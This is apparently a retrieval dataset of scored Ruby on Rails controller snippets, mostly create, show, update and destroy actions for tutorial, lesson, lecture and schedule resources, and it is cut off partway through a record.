"text": "def create\n @read_user_tutorial = ReadUserTutorial.new(read_user_tutorial_params)\n\n respond_to do |format|\n if @read_user_tutorial.save\n format.html { redirect_to @read_user_tutorial, notice: 'Read user tutorial was successfully created.' }\n format.json { render :show, status: :created, location: @read_user_tutorial }\n else\n format.html { render :new }\n format.json { render json: @read_user_tutorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "046457e83293de765ddef3d4716f3844",
"score": "0.6210368",
"text": "def create\n @keyword_tutorial = KeywordTutorial.new(keyword_tutorial_params)\n\n respond_to do |format|\n if @keyword_tutorial.save\n format.html { redirect_to @keyword_tutorial, notice: 'Keyword tutorial was successfully created.' }\n format.json { render :show, status: :created, location: @keyword_tutorial }\n else\n format.html { render :new }\n format.json { render json: @keyword_tutorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aa1612da7ab1085fdb136eb183386d4b",
"score": "0.619266",
"text": "def tutorial_params\n params.require(:tutorial).permit(:tutorial, :youtube_id, :pagina_id, :perfil_id )\n end",
"title": ""
},
{
"docid": "c8b0cce7caa4adb4ddf06dbee254f2aa",
"score": "0.6184456",
"text": "def create\n @search_tutorial = SearchTutorial.new(search_tutorial_params)\n\n respond_to do |format|\n if @search_tutorial.save\n format.html { redirect_to @search_tutorial, notice: 'Search tutorial was successfully created.' }\n format.json { render :show, status: :created, location: @search_tutorial }\n else\n format.html { render :new }\n format.json { render json: @search_tutorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "01a9bc1e83261bbeb49a617619d27ecf",
"score": "0.61366636",
"text": "def create\n if session[:user_role] == 'student'\n redirect_to('/404')\n else \n @tutorial = Tutorial.new(params[:tutorial])\n\n respond_to do |format|\n if @tutorial.save\n format.html { redirect_to @tutorial, notice: 'Tutorial was successfully created.' }\n format.json { render json: @tutorial, status: :created, location: @tutorial }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tutorial.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "52187031891f1e374f0b62f649b53e9a",
"score": "0.6124828",
"text": "def tutorials\n remote_user = (cookies['__hermes_user'] ||= State.ephemeral_user)\n\n @tutorials_to_view = @site.tutorials.published.noselector.within(@path).respecting(remote_user)\n @tutorials_already_viewed = @site.tutorials.published.noselector.within(@path).not_respecting(remote_user)\n @tutorials_with_selector = @site.tutorials.published.withselector.within(@path)\n\n render json: render_to_string(template: 'messages/tutorials.json'), callback: @callback\n end",
"title": ""
},
{
"docid": "42b1521236ece59545d98029f7a0f340",
"score": "0.6114498",
"text": "def create\n\t\t@tutorial_review = TutorialReview.new(params[:tutorial_review])\n\t\t@tutorial_review.user_id = current_user.id\n\t\t@tutorial_review.tutorial_id = params[:tutorial_id]\n\n\t\trespond_to do |format|\n\t\t\tif @tutorial_review.save\n\t\t\t\tformat.html { redirect_to @tutorial_review, :notice => 'Tutorial review was successfully created.' }\n\t\t\t\tformat.json { render :json => @tutorial_review, :status => :created, :location => @tutorial_review }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.json { render :json => @tutorial_review.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "7ad5fe4e723b785a7ef040a358f5888a",
"score": "0.6106794",
"text": "def create\n @tutorial = Tutorial.new(tutorial_params)\n\n if @tutorial.save\n redirect_to @tutorial, notice: 'Tutorial was successfully created.'\n else\n render :new\n end\n end",
"title": ""
},
{
"docid": "7913a418101d25c896937d716812e621",
"score": "0.6073516",
"text": "def create\n @lesson = Lesson.new(lesson_params)\n\n if @lesson.save\n render json: @lesson, serializer: LessonSerializer\n else\n render json: { error: t('story_create_error') }, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "916c1003495fe87fb7dda8f9cf74de2e",
"score": "0.60661066",
"text": "def create\n learning = Learning.create(name: params[:name], description: params[:description].to_json)\n create_tags learning\n\n if learning\n render json: learning\n else\n render json: learning.errors\n end\n end",
"title": ""
},
{
"docid": "2befafcc6f076a73b42fca9ccbe2e9dc",
"score": "0.6061394",
"text": "def create\n require 'net/http'\n require 'json'\n\n student = Student.new(student_params)\n\n uri = URI('http://localhost:3000/students.json')\n\n request = Net::HTTP::Post.new uri, { 'Content-Type' => 'application/json' }\n # Appending the data to the request.\n request.body = student.to_json\n\n # Hitting the endpoint.\n response = Net::HTTP.start uri.hostname, uri.port do |http|\n http.request request\n end\n\n # If successful.\n if response.code == '200'\n redirect_to students_path, notice: 'Student was successfully created.'\n else\n render :new\n end\n end",
"title": ""
},
{
"docid": "7e31fa7c838bef6415c1ba2c37a098ee",
"score": "0.6049486",
"text": "def create\n @lecture = Lecture.new(lecture_params)\n\n if @lecture.save\n render json: @lecture, status: :created, location: @lecture\n else\n render json: @lecture.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "148c556e7aff63542875674c3ef80cff",
"score": "0.603008",
"text": "def getAllTutorials\n\t\t@allTutorials = @user.tutorials.all\n\t\tif @allTutorials\n\t\t\trender json: @allTutorials\n\t\telse\n\t\t\trender json: {}\n\t\tend\n\tend",
"title": ""
},
{
"docid": "169a8080fbad4358a3b69cb4624db9ec",
"score": "0.60194135",
"text": "def tutorial_params\n params.fetch(:tutorial, {})\n end",
"title": ""
},
{
"docid": "3d53507f2b9b926f787fcb03c4d2e537",
"score": "0.60139567",
"text": "def show\n\t\trender json: @tutorial\n\tend",
"title": ""
},
{
"docid": "60e1b10c745eb69578378614aeb98090",
"score": "0.5981239",
"text": "def create\n @gemtutorial = Gemtutorial.new(gemtutorial_params)\n\n respond_to do |format|\n if @gemtutorial.save\n format.html { redirect_to @gemtutorial, notice: 'Gemtutorial was successfully created.' }\n format.json { render :show, status: :created, location: @gemtutorial }\n else\n format.html { render :new }\n format.json { render json: @gemtutorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "14603ce2cd79e349017089c347fd73ad",
"score": "0.59661394",
"text": "def new\n @lesson = Lesson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lesson }\n end\n end",
"title": ""
},
{
"docid": "14603ce2cd79e349017089c347fd73ad",
"score": "0.59661394",
"text": "def new\n @lesson = Lesson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lesson }\n end\n end",
"title": ""
},
{
"docid": "14603ce2cd79e349017089c347fd73ad",
"score": "0.59661394",
"text": "def new\n @lesson = Lesson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lesson }\n end\n end",
"title": ""
},
{
"docid": "14603ce2cd79e349017089c347fd73ad",
"score": "0.59661394",
"text": "def new\n @lesson = Lesson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lesson }\n end\n end",
"title": ""
},
{
"docid": "14603ce2cd79e349017089c347fd73ad",
"score": "0.59661394",
"text": "def new\n @lesson = Lesson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lesson }\n end\n end",
"title": ""
},
{
"docid": "14603ce2cd79e349017089c347fd73ad",
"score": "0.59658396",
"text": "def new\n @lesson = Lesson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lesson }\n end\n end",
"title": ""
},
{
"docid": "d7d3bbeb614b8456adffa25bea018ff7",
"score": "0.59546",
"text": "def create\n @step = @tutorial.steps.new(params[:step])\n\n respond_to do |format|\n if @step.save\n format.html { redirect_to [@tutorial, @step], notice: 'Step was successfully created.' }\n format.json { render json: @step, status: :created, location: @step }\n else\n format.html { render action: \"new\" }\n format.json { render json: @step.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "69901349b32bd9c98cd26c409ba0edc3",
"score": "0.5954118",
"text": "def index\n @tutorials = Tutorial.all\n end",
"title": ""
},
{
"docid": "69901349b32bd9c98cd26c409ba0edc3",
"score": "0.5954118",
"text": "def index\n @tutorials = Tutorial.all\n end",
"title": ""
},
{
"docid": "69901349b32bd9c98cd26c409ba0edc3",
"score": "0.5954118",
"text": "def index\n @tutorials = Tutorial.all\n end",
"title": ""
},
{
"docid": "a135b6aecc9dc686d55bfde5fb8a55ff",
"score": "0.59428936",
"text": "def create\n @lesson = Lesson.new(params[:lesson])\n \n respond_to do |format|\n if @lesson.save\n format.html { redirect_to @lesson, notice: 'Lesson was successfully created.' }\n format.json { render json: @lesson, status: :created, location: @lesson }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lesson.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b91ad81a887e02d66792b6c2cd2e8df5",
"score": "0.59346145",
"text": "def create\n @lecture = Lecture.new(lecture_params)\n if @lecture.save\n head :ok\n else\n render json: {errors: @lecture.errors.full_messages }, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "f0fdad64dc0b16cab1d9cdaea5f88596",
"score": "0.5933033",
"text": "def create\n if !logged_in?\n redirect_to login_path\n end\n @rate_user_tutorial = RateUserTutorial.new(rate_user_tutorial_params)\n @rate_user_tutorial.user_id=current_user.id\n respond_to do |format|\n if @rate_user_tutorial.save\n format.html { redirect_to @rate_user_tutorial.tutorial, notice: 'Rate user tutorial was successfully created.' }\n format.json { render :show, status: :created, location: @rate_user_tutorial }\n else\n format.html { render :new }\n format.json { render json: @rate_user_tutorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "251fb96ab1fa70d2bec1049919410fbc",
"score": "0.59295547",
"text": "def create\n @lesson = Lesson.new(params[:lesson])\n\n respond_to do |format|\n if @lesson.save\n format.html { redirect_to @lesson, notice: 'Lesson was successfully created.' }\n format.json { render json: @lesson, status: :created, location: @lesson }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lesson.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b9489488aa4b68ff889355b619004352",
"score": "0.59096885",
"text": "def new\n @next_lecture = NextLecture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @next_lecture }\n end\n end",
"title": ""
},
{
"docid": "d714654afa5830a7752d08ded9ac5495",
"score": "0.59058046",
"text": "def create\n @tutorial_module = TutorialModule.new(tutorial_module_params)\n\n respond_to do |format|\n if @tutorial_module.save\n format.html { redirect_to @tutorial_module, notice: 'Tutorial module was successfully created.' }\n format.json { render :show, status: :created, location: @tutorial_module }\n else\n format.html { render :new }\n format.json { render json: @tutorial_module.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "064809de777673bb2a0181dd43896c77",
"score": "0.5876834",
"text": "def create\n @next_lecture = NextLecture.new(params[:next_lecture])\n\n respond_to do |format|\n if @next_lecture.save\n format.html { redirect_to @next_lecture, notice: 'Next lecture was successfully created.' }\n format.json { render json: @next_lecture, status: :created, location: @next_lecture }\n else\n format.html { render action: \"new\" }\n format.json { render json: @next_lecture.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2444f257fe520bf42bcf39c2417b46e6",
"score": "0.5868498",
"text": "def create\n @tutorial_ingredient = TutorialIngredient.new(tutorial_ingredient_params)\n\n respond_to do |format|\n if @tutorial_ingredient.save\n format.html { redirect_to @tutorial_ingredient, notice: 'Tutorial ingredient was successfully created.' }\n format.json { render :show, status: :created, location: @tutorial_ingredient }\n else\n format.html { render :new }\n format.json { render json: @tutorial_ingredient.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c3b27cf196fc3048e89d9c0914471054",
"score": "0.5866989",
"text": "def show\n @tutorial = Tutorial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tutorial }\n end\n end",
"title": ""
},
{
"docid": "c3b27cf196fc3048e89d9c0914471054",
"score": "0.5866989",
"text": "def show\n @tutorial = Tutorial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tutorial }\n end\n end",
"title": ""
},
{
"docid": "2ddf38dc663350e29f7e7f80004b6031",
"score": "0.5866314",
"text": "def create\n @lesson = Lesson.new(lesson_params)\n\n respond_to do |format|\n if @lesson.save\n format.html { redirect_to @lesson, notice: 'Lesson was successfully created.' }\n format.json { render :show, status: :created, location: @lesson }\n\n else\n format.html { render :new }\n format.json { render json: @lesson.errors, status: :unprocessable_entity }\n\n end\n end\n end",
"title": ""
},
{
"docid": "6a61b0c03938e5a77be5f19245bb410e",
"score": "0.5866086",
"text": "def create\n @lesson = Lesson.new(lesson_params)\n\n respond_to do |format|\n if @lesson.save\n format.html { redirect_to @lesson, notice: 'Lesson was successfully created.' }\n format.json { render :show, status: :created, location: @lesson }\n else\n format.html { render :new }\n format.json { render json: @lesson.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6a61b0c03938e5a77be5f19245bb410e",
"score": "0.5866086",
"text": "def create\n @lesson = Lesson.new(lesson_params)\n\n respond_to do |format|\n if @lesson.save\n format.html { redirect_to @lesson, notice: 'Lesson was successfully created.' }\n format.json { render :show, status: :created, location: @lesson }\n else\n format.html { render :new }\n format.json { render json: @lesson.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6a61b0c03938e5a77be5f19245bb410e",
"score": "0.5866086",
"text": "def create\n @lesson = Lesson.new(lesson_params)\n\n respond_to do |format|\n if @lesson.save\n format.html { redirect_to @lesson, notice: 'Lesson was successfully created.' }\n format.json { render :show, status: :created, location: @lesson }\n else\n format.html { render :new }\n format.json { render json: @lesson.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6a61b0c03938e5a77be5f19245bb410e",
"score": "0.5866086",
"text": "def create\n @lesson = Lesson.new(lesson_params)\n\n respond_to do |format|\n if @lesson.save\n format.html { redirect_to @lesson, notice: 'Lesson was successfully created.' }\n format.json { render :show, status: :created, location: @lesson }\n else\n format.html { render :new }\n format.json { render json: @lesson.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6a61b0c03938e5a77be5f19245bb410e",
"score": "0.5866086",
"text": "def create\n @lesson = Lesson.new(lesson_params)\n\n respond_to do |format|\n if @lesson.save\n format.html { redirect_to @lesson, notice: 'Lesson was successfully created.' }\n format.json { render :show, status: :created, location: @lesson }\n else\n format.html { render :new }\n format.json { render json: @lesson.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6a61b0c03938e5a77be5f19245bb410e",
"score": "0.5866086",
"text": "def create\n @lesson = Lesson.new(lesson_params)\n\n respond_to do |format|\n if @lesson.save\n format.html { redirect_to @lesson, notice: 'Lesson was successfully created.' }\n format.json { render :show, status: :created, location: @lesson }\n else\n format.html { render :new }\n format.json { render json: @lesson.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9094eb388d88df6bca0b6f1487ffd17f",
"score": "0.5865739",
"text": "def show\n @tutorial = Tutorial.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tutorial }\n end\n end",
"title": ""
},
{
"docid": "8e39a317f029b6b77fcfce7669936aea",
"score": "0.5861227",
"text": "def tutorial_params\n params.require(:tutorial).permit(:course_id, :day, :start_time, :end_time,\n :group_number, :odd_even, :has_second_tutorial, :second_day,\n :second_start_time, :second_end_time)\n end",
"title": ""
},
{
"docid": "d4f6fa82b7d16e9c18fa2fe9dea3a317",
"score": "0.58586013",
"text": "def tutorial_params\n params.require(:tutorial).permit(:name, :active, :page_url, :skippable, :show_steps, :user_id, tutorial_items_attributes: [ :id, :title, :content, :order, :css_selector, :active ])\n end",
"title": ""
},
{
"docid": "dd4e6a99f4764617213c0d8b8b898a64",
"score": "0.5837535",
"text": "def create\n @technique = Technique.new(technique_params)\n\n if @technique.save\n render json: @technique, status: :created, location: @technique\n else\n render json: @technique.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "520c4a342710f0f9f1e27610252b8251",
"score": "0.5835114",
"text": "def create\n @lesson = Lesson.new(lesson_params)\n respond_to do |format|\n if @lesson.save\n format.html { redirect_to @lesson, notice: 'Lesson was successfully created.' }\n format.json { render action: 'show', status: :created, location: @lesson }\n else\n format.html { render action: 'new' }\n format.json { render json: @lesson.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "97ab57eca7ab9839d7854354c1116721",
"score": "0.58349913",
"text": "def index\n @tutorials = Tutorial.order('title').page(params[:page]).per(5)\n respond_with(@tutorials)\n end",
"title": ""
},
{
"docid": "d1c8920dc18437c5760492041057a343",
"score": "0.58306396",
"text": "def create\n @lesson = Lesson.new(lesson_params)\n\n respond_to do |format|\n if @lesson.save\n format.html { redirect_to @lesson, notice: 'Lesson was successfully created.' }\n format.json { render action: 'show', status: :created, location: @lesson }\n else\n format.html { render action: 'new' }\n format.json { render json: @lesson.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6827e7deeeb7c85bda38e3619e0e1e5d",
"score": "0.58238477",
"text": "def update\n if @tutorial.update(tutorial_params)\n render :show, status: :ok\n else\n render json: @tutorial.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "6c067fba81827e24450906fa20e60561",
"score": "0.58237845",
"text": "def new\n @tutorial = Tutorial.new\n authorize! :manage, @tutorial, :message => 'Not authorized to do this action.'\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tutorial }\n end\n end",
"title": ""
},
{
"docid": "d6605a2209ae3eba8164e75dfaeb97c7",
"score": "0.58209777",
"text": "def create\n respond_to do |format|\n if @lesson.save\n format.html { redirect_to lessons_url, notice: 'Lesson was successfully created.'}\n format.json { render :show, status: :created, location: @lesson }\n else\n format.html { render :new }\n format.json { render json: @lesson.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7a989e7b28e5a7210f0923e5c831fce",
"score": "0.5818805",
"text": "def update\n if @tutorial.update(tutorial_params)\n render :show, status: :ok, location: @tutorial\n else\n render json: @tutorial.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "9dfe4bc5cb2206d81763a81387eae777",
"score": "0.5796919",
"text": "def graham_tutorial_params\n params.require(:graham_tutorial).permit(:one, :two, :three, :four, :five)\n end",
"title": ""
},
{
"docid": "0dc80ba0b8523c6a05292ac1c58cead8",
"score": "0.57861966",
"text": "def test_should_create_topic_via_API_JSON\r\n get \"/logout\"\r\n post \"/forum_topics.json\", :api_key=>'testapikey',\r\n :forum_topic => {:title=>'API Test Topic',\r\n :description=>'Test topic desc',\r\n :user_id=>1}\r\n assert_response :created\r\n topic = JSON.parse(response.body)\r\n assert topic['title'] == 'API Test Topic', 'Incorrect topic title'\r\n assert topic['user_id'] == 1, 'Incorrect user id'\r\n assert topic['description'] == 'Test topic desc', 'Incorrect topic description' \r\n end",
"title": ""
},
{
"docid": "487096679594a1ac427ef5786598527d",
"score": "0.5781834",
"text": "def update\n\t\tif @tutorial.update(tut_params)\n\t\t\thead :no_content\n\t\telse\n\t\t\trender json: @tutorial.errors, status: :unprocessable_entity\n\t\tend\n\tend",
"title": ""
},
{
"docid": "832f350f219e280a27ebf4f07e9ee62c",
"score": "0.5779834",
"text": "def new\n\t\t@tutorial_review = TutorialReview.new\n\t\t@tutorial_review.user_id = current_user.id\n\t\t@tutorial_review.tutorial_id = params[:tutorial_id]\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render :json => @tutorial_review }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "064468080642684583d9240393e65b6f",
"score": "0.5779437",
"text": "def new\n @my_lesson = MyLesson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_lesson }\n end\n end",
"title": ""
},
{
"docid": "fa8d2d61efaa1d1c5d143ac180168ccd",
"score": "0.576501",
"text": "def create\n @lesson = Lesson.new(params[:lesson])\n\n respond_to do |format|\n if @lesson.save\n format.html { redirect_to builder_lessons_path, notice: 'Lesson was successfully created.' }\n format.json { render json: @lesson, status: :created, location: @lesson }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lesson.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "08946b395f5ae5108b61c1406d4cdff1",
"score": "0.5759076",
"text": "def create\n @lesson = Lesson.new(lesson_params)\n logger.debug \"lesson params: #{lesson_params}\"\n respond_to do |format|\n if @lesson.save\n format.html { redirect_to edit_lesson_url(@lesson), notice: 'Lesson was successfully created.' }\n format.json { render :show, status: :created, location: @lesson }\n else\n format.html { render :new }\n format.json { render json: @lesson.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "59e324d6ba20134fe8f41d7c5a1cab08",
"score": "0.57560265",
"text": "def show\n @tutorial = Tutorial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tutorial.to_hash(false) }\n end\n end",
"title": ""
},
{
"docid": "a068dc541a2b79d303a7db9d5060db41",
"score": "0.5744742",
"text": "def new\n @beginner = Beginner.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @beginner }\n end\n end",
"title": ""
},
{
"docid": "8b47c068d6abfdaeb8136a6a3a110dfb",
"score": "0.5731045",
"text": "def create\n @lesson_has_teacher = LessonHasTeacher.new(lesson_has_teacher_params)\n\n respond_to do |format|\n if @lesson_has_teacher.save\n format.html { redirect_to @lesson_has_teacher, notice: 'Lesson has teacher was successfully created.' }\n format.json { render :show, status: :created, location: @lesson_has_teacher }\n else\n format.html { render :new }\n format.json { render json: @lesson_has_teacher.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "612e589b2270b49c8cc16c95a207be1a",
"score": "0.5729456",
"text": "def create\n @my_lesson = MyLesson.new(params[:my_lesson])\n\n respond_to do |format|\n if @my_lesson.save\n format.html { redirect_to @my_lesson, notice: 'My lesson was successfully created.' }\n format.json { render json: @my_lesson, status: :created, location: @my_lesson }\n else\n format.html { render action: \"new\" }\n format.json { render json: @my_lesson.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "61f88b59363d2317df84b49f028dde0e",
"score": "0.5723821",
"text": "def create\n respond_to do |format|\n if @practice.save\n format.json { render json: @practice, status: :created}\n else\n format.json { render json: @practice.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dd9894340d4cf16757baca74371f9f43",
"score": "0.571385",
"text": "def test\n get(\"/help/test.json\")\n end",
"title": ""
},
{
"docid": "dd9894340d4cf16757baca74371f9f43",
"score": "0.571385",
"text": "def test\n get(\"/help/test.json\")\n end",
"title": ""
},
{
"docid": "dd269061cffbc4d8b328172d0da882d6",
"score": "0.5711444",
"text": "def create\n @intro = Intro.new(intro_params)\n\n respond_to do |format|\n if @intro.save\n format.html { redirect_to @intro, notice: 'Intro was successfully created.' }\n format.json { render :show, status: :created, location: @intro }\n else\n format.html { render :new }\n format.json { render json: @intro.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "63bc8ac9dc611a211735c69a541f51a5",
"score": "0.5708251",
"text": "def tut_params\n params.require(:tut).permit(:title, :tut_desc)\n end",
"title": ""
},
{
"docid": "83f9b1b06d38eb7123d5a9fcacb453b7",
"score": "0.57068545",
"text": "def destroy\n @tutorial = Tutorial.find(params[:id])\n @tutorial.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_tutorials_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "651f7db17a92fc25fbccf6f99ab7327d",
"score": "0.56982064",
"text": "def create\n @beginner = Beginner.new(params[:beginner])\n\n respond_to do |format|\n if @beginner.save\n format.html { redirect_to @beginner, notice: 'Beginner was successfully created.' }\n format.json { render json: @beginner, status: :created, location: @beginner }\n else\n format.html { render action: \"new\" }\n format.json { render json: @beginner.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d91ba96e55d9212e6e2e5a6f192eadc5",
"score": "0.5694716",
"text": "def create\n @done_lesson = DoneLesson.new(done_lesson_params)\n\n respond_to do |format|\n if @done_lesson.save\n format.html { redirect_to @done_lesson, notice: 'Done lesson was successfully created.' }\n format.json { render :show, status: :created, location: @done_lesson }\n else\n format.html { render :new }\n format.json { render json: @done_lesson.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "28afc241b0bca2804e9c1d3ada5cd5b2",
"score": "0.5685605",
"text": "def new\n @lecture = Lecture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lecture }\n end\n end",
"title": ""
},
{
"docid": "f6f4ef2dfc0c25198f046a82b1e78023",
"score": "0.5685459",
"text": "def new\n @lesson_page = LessonPage.new\n @teaching = Teaching.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @teaching }\n end\n end",
"title": ""
},
{
"docid": "8b742b4b8975e3ea1549361ca1cf8d51",
"score": "0.56793445",
"text": "def index\n\n @tag = params[:tag]\n query = @tag ? Tutorial.published.tagged_with(@tag) : Tutorial.published\n @tutorials = query.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tutorials }\n end\n end",
"title": ""
},
{
"docid": "376a81220cb0691b654e98da60ab73a7",
"score": "0.56778055",
"text": "def destroy\n @tutorial = Tutorial.find(params[:id])\n @tutorial.destroy\n\n respond_to do |format|\n format.html { redirect_to tutorials_url }\n format.json { head :ok }\n end\n end",
"title": ""
}
] |
3d29b1fcf11ef5f658cc7799ffe01022
|
DELETE /schedules/1 DELETE /schedules/1.json
|
[
{
"docid": "ec6246e296a2f73ae79e93928864f5f4",
"score": "0.7978833",
"text": "def destroy\n @schedule = Schedule.find(params[:id])\n @schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to schedules_url }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
[
{
"docid": "472d790b7e67c564304e69e63a6ac51c",
"score": "0.8132402",
"text": "def destroy\n @schedule = getSchedules()[params[:id]]\n @schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to schedules_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "104cdcab4f71db3b2d0f57176fa7858c",
"score": "0.7996838",
"text": "def destroy\n @schedule = Schedule.find(params[:id])\n @schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to schedules_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "104cdcab4f71db3b2d0f57176fa7858c",
"score": "0.7996838",
"text": "def destroy\n @schedule = Schedule.find(params[:id])\n @schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to schedules_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "104cdcab4f71db3b2d0f57176fa7858c",
"score": "0.7996838",
"text": "def destroy\n @schedule = Schedule.find(params[:id])\n @schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to schedules_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "104cdcab4f71db3b2d0f57176fa7858c",
"score": "0.7996838",
"text": "def destroy\n @schedule = Schedule.find(params[:id])\n @schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to schedules_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "2f4cd7e16467f6091ded386ad6483a1f",
"score": "0.79662234",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2f4cd7e16467f6091ded386ad6483a1f",
"score": "0.79662234",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "62a3a52840db915b0c23ab671b658528",
"score": "0.7962503",
"text": "def destroy\n @schedule = Schedule.find(params[:id])\n @schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to schedules_url }\n format.json { head :no_content }\n\n end\n end",
"title": ""
},
{
"docid": "cba079931aeb6c3204e2d3453c6b11fd",
"score": "0.7949727",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to trips_path }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "aef2553984ec7685395a06f5b13ba4c2",
"score": "0.7927146",
"text": "def destroy\n @schedule.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "6c0f5855b6a4a31e1ad3291e8bbb6fac",
"score": "0.79179096",
"text": "def destroy\n # @schedule = Schedule.find(params[:id])\n # @schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to schedules_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "069dbdf53923e1e21a9ec646d64d9580",
"score": "0.7857577",
"text": "def destroy\n @resource_schedule = ResourceSchedule.find(params[:id])\n @resource_schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to resource_schedules_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "824975d6062bfe9d3373ea3d64209e3c",
"score": "0.78407294",
"text": "def delete_schedule(access_token, campaign_id, schedule_id)\n\t\t\t\t\turl = Util::Config.get('endpoints.base_url') + \n\t\t\t\t\t\t\t\tsprintf(Util::Config.get('endpoints.campaign_schedule'), campaign_id, schedule_id)\n\t\t\t\t\turl = build_url(url)\n\t\t\t\t\tresponse = RestClient.delete(url, get_headers(access_token))\n\t\t\t\t\tresponse.code == 204\n\t\t\t\tend",
"title": ""
},
{
"docid": "7d35694d57b19a48447648f58e900906",
"score": "0.78302735",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7d35694d57b19a48447648f58e900906",
"score": "0.78302735",
